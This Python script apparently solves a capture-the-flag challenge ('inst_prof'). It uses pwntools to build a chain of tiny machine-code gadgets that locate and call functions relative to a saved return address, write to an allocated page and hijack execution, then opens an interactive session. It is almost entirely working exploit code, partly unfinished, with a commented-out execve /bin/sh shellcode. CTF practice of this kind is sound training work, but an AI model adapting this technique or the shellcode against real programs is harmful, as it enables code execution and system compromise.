#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pwn


pop_push_r15 = b"\x41\x5F\x41\x57"
mov_r15_rbx = b"\x49\x89\xDF\xC3"
inc_r15_ret = b"\x49\xFF\xC7\xC3"
dec_r15_ret = b"\x49\xFF\xCF\xC3"
dec_4096_r15_nop = b"\x49\xFF\xCF\x90"
dec_4096_rbx_nop = b"\x48\xFF\xCB\x90"
pop_push_r14 = b"\x41\x5E\x41\x56"
dec_r14_ret = b"\x49\xFF\xCE\xC3"

call_r15_ret = b"\x41\xFF\xD7\xC3"
jmp_r15_ret = b"\x41\xFF\xE7\xC3"

# this payload enable us to set params (rax) and jump to r14
magic = b"\x49\x97\x41\x56"
# 0:  49 97                   xchg   r15,rax
# 2:  41 56                   push   r14
# 0xb4d: pop rbx ; pop r12 ; pop rbp ; ret
# saved_rip + 0x35
# 0x555555554b51: ret


# movb [r15], x
def mov_to_r15(x):
    return b"\x41\xC6\x07" + bytes([x])

# # set r15 cursor to the offset
# yield mov_r15_rbx()


def create_payload(shellcode):
    # ----- call alloc_page
    # r15 = saved_rip
    yield pop_push_r15
    # saved_rip - 0x128 => alloc_page
    for _ in range(0x128):
        yield dec_r15_ret
    yield call_r15_ret  # jump alloc_page

    # ----- write shellcode to the our page
    # put allocated page in r15
    offset = 40
    yield mov_r15_rbx  # get current page
    yield dec_4096_r15_nop  # go to our page
    # pass the offset
    for _ in range(offset):
        yield inc_r15_ret

    # # write shellcode in memory
    # for c in shellcode:
    #     yield mov_to_r15(c)
    #     yield inc_r15_ret

    # r15 = our page
    # r14 = code reuse (just after the call of alloc_page)
    # r14 = 0xAD2
    # r14 = saved_rip - 0x46
    yield mov_r15_rbx  # get current page
    yield dec_4096_r15_nop  # go to our page
    # pass the offset
    # for _ in range(offset):
    #     yield inc_r15_ret

    # r14 = saved_rip - 0x46
    yield pop_push_r14
    for _ in range(0x46):
        yield dec_r14_ret

    # yield call_r15_ret
    yield magic
    # yield mov_r15_rbx

    # # ----- confuse the program to use our page, he will make our page executable
    # # rbx = our_page
    # # rbx will be free/destroyed and reborn like a phenix
    # yield dec_4096_rbx_nop
    #
    # yield mov_r15_rbx
    # # # pass the offset
    # # yield mov_r15_rbx
    # for _ in range(offset):
    #     yield inc_r15_ret
    # yield call_r15_ret

# # put allocated page in r15
# yield mov_r15_rbx
# yield dec_4096_r15_nop
# write shellcode in memory
# yield mov_to_r15(42)
# for c in shellcode:
#     yield mov_to_r15(c)
#     yield inc_r15()
#
# # reset r15 cursor to the offset
# yield mov_r15_rbx()
# for _ in range(offset):
#     yield inc_r15()


def exploit(payload):
    p = pwn.process("./inst_prof")
    # pid = pwn.pidof(p)[0]
    # print(pid)
    # os.system(f"cat /proc/{pid}/maps")

    p.recvuntil("ready\n")
    p.send(payload)
    data = p.read(1024)
    print(data)
    p.interactive()


if __name__ == "__main__":
    shellcode = b"\xeb\xfe"
    # shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    # exploit(b"\x90" * 4 * 40)
    payload = b''.join(create_payload(shellcode))
    open("payload.bin", "wb").write(payload)
    print(repr(payload))
    exploit(payload)


# can't use it because we can't set rdi
# # ----- call make_page_executable
# # r15 = saved_rip
# yield pop_push_r15
# # saved_rip - 0xf8 => make_page_executable
# for _ in range(0xf8):
#     yield dec_r15_ret
#
# yield call_r15_ret  # jump make_page_executable
